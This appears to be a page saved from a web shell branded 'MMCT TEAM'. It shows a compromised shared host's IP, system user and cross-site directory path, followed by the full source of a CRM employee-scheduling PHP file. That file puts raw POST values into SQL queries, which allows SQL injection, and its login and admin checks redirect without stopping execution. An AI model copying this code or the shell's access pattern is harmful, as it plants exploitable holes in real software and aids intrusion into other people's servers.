MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.117.158.124
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/sssktrust.com/../shsindia.com/crm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/sssktrust.com/../shsindia.com/crm/employee-scheduling.php
<?php
include_once('include/config.php');
if (!isLoggedIn()) {
    $_SESSION['msg'] = "You must log in first";
    header('location: login.php');
}
if (!isAdmin()) {
    $_SESSION['msg'] = "You are not Admin";
    header('location: login.php');
}
if ($_SERVER["REQUEST_METHOD"] === "POST") {
     
    if (isset($_POST['update_employe'])) {
       // Handle the inactive logic here
       $empID = $_POST['emp_id'];
       $shift_id = $_POST['shift_id'];
   
           $sql = "UPDATE `tbl_employee` SET `shift_id`='$shift_id' WHERE emp_id='$empID'";
           $result = mysqli_query($db, $sql) or die("Query unsuccessful");
   
        mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES 
        ('$empID','','Shift Change','Employee Shift','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')");

        if($result){
          echo "<script>
                window.alert('Scheduling Employee Successfully.');
                window.location.href = 'employee-scheduling.php';
                </script>";	
        }
    }

}
?>
<!DOCTYPE html>
<html lang="en">
    
<head>

    <!-- Select2 css -->
    <!--<link href="assets/vendor/select2/css/select2.min.css" rel="stylesheet" type="text/css" />-->

    <?php include "top-links.php"?>
</head>

<body>
<div class="wrapper">
    <?php include "header.php"?>

    <?php include "sidebar.php"?>

        <div class="content-page">
            <div class="content">

                <!-- Start Content-->
                <div class="container-fluid">

                    <!-- start page title -->
                    <div class="row">
                        <div class="col-12">
                            <div class="page-title-box">
                                <!--<div class="page-title-right">-->
                                <!--    <ol class="breadcrumb m-0">-->
                                <!--        <li class="breadcrumb-item"><a href="javascript: void(0);">Velonic</a></li>-->
                                <!--        <li class="breadcrumb-item"><a href="javascript: void(0);">Forms</a></li>-->
                                <!--        <li class="breadcrumb-item active">Form Advanced</li>-->
                                <!--    </ol>-->
                                <!--</div>-->
                                <h4 class="page-title">Employee Scheduling</h4>
                            </div>
                        </div>
                    </div>
                    <!-- end page title -->

                    <div class="row">
                        <div class="col-12">
                            <div class="card">
                                <div class="card-header">
                                    <h4 class="header-title">Employee Scheduling</h4>
                                    <!--<p class="text-muted mb-0">Select2 gives you a customizable select box with support-->
                                    <!--    for searching, tagging, remote data sets, infinite scrolling, and many other-->
                                    <!--    highly used options.</p>-->
                                </div>
                                <div class="card-body">
                                  <form action="<?php $_PHP_SELF?>" method="POST" enctype="multipart/form-data">
                                    <div class="row">
                                        <div class="col-lg-6 mb-3">
                                            <p class="mb-1 fw-bold text-muted">Select Employee</p>
                                            <!--<p class="text-muted fs-14">-->
                                            <!--    Select2 can take a regular select box like this...-->
                                            <!--</p>-->

                                            <select class="form-control select2" data-toggle="select2" name="emp_id">
                                                <option value="0">Select Employee</option>
                                              <?php
                                                  $sql = "SELECT * FROM `tbl_employee` WHERE `emp_status`='Active'";
                                                  $run = mysqli_query($db, $sql) or die("Query Not run");
                                                  $count = 0;
                                                  while ($data = mysqli_fetch_assoc($run)) {
                                                  $count++;
                                              ?>
                                              <?php
                                                 $company_id=$data["emp_company_id"];
                                                 $d = mysqli_fetch_assoc(mysqli_query($db, "select * from tbl_customer where cus_id='$company_id' "));
                                              ?>
                                              <?php
                                                 $schdule_id=$data["shift_id"];
                                                 $schdule = mysqli_fetch_assoc(mysqli_query($db, "select * from tbl_shift where shift_id='$schdule_id' "));
                                              ?>
                                                <option value="<?php echo $data['emp_id']; ?>"><?php echo $count; ?> - <?php echo $data['emp_name']; ?> - <?php echo $data['emp_father']; ?> / <?php echo $d['cp_name']; ?> - <?php echo $d['cust_address']; ?> - <?php echo $d['cust_state']; ?> / <?php echo $schdule['shift_time']; ?> - <?php echo $schdule['shift_end']; ?> - <?php echo $schdule['shift_hours']; ?>hrs</option>
                                            <?php } ?>
                                            </select>
                                        </div>
                                        <div class="col-lg-6 mb-3">
                                            <p class="mb-1 fw-bold text-muted">Select Schedule</p>
                                            <!--<p class="text-muted fs-14">-->
                                            <!--    Select2 can take a regular select box like this...-->
                                            <!--</p>-->

                                            <select class="form-control select2" data-toggle="select2" name="shift_id">
                                                <option value="0">Select Schedule</option>
                                                <?php
                                                $sql = "SELECT * FROM `tbl_shift` WHERE `shift_status`='Active'";
                                                $run = mysqli_query($db, $sql) or die("Query Not run");
                                                $count = 0;
                                                while ($data = mysqli_fetch_assoc($run)) {
                                                $count++;
                                            ?>
                                                <option value="<?php echo $data['shift_id']; ?>"><?php echo $count; ?>- <?php echo $data['shift_time']; ?> - <?php echo $data['shift_end']; ?> - <?php echo $data['shift_hours']; ?> HRS</option>
                                            <?php } ?>
                                            </select>
                                        </div>
                                    </div> <!-- end row -->
                                    <ul class="list-inline wizard mb-0">
                                        <li class="next list-inline-item float-start">
                                            <button class="btn btn-info" name="update_employe">Submit <i class="ri-arrow-right-line ms-1"></i></button>
                                        </li>
                                    </ul>
                                  </form>

                                </div> <!-- end card-body-->
                            </div> <!-- end card-->
                        </div> <!-- end col-->
                    </div>
                    <!-- end row-->


                </div> <!-- container -->

            </div> <!-- content -->

        </div>
</div>

<?php include "footer.php"?>

    <!--  Select2 Plugin Js -->
    <!--<script src="assets/vendor/select2/js/select2.min.js"></script>-->


    <!-- App js -->
    <script src="assets/js/app.min.js"></script>

</body>
</html>

MMCT - 2023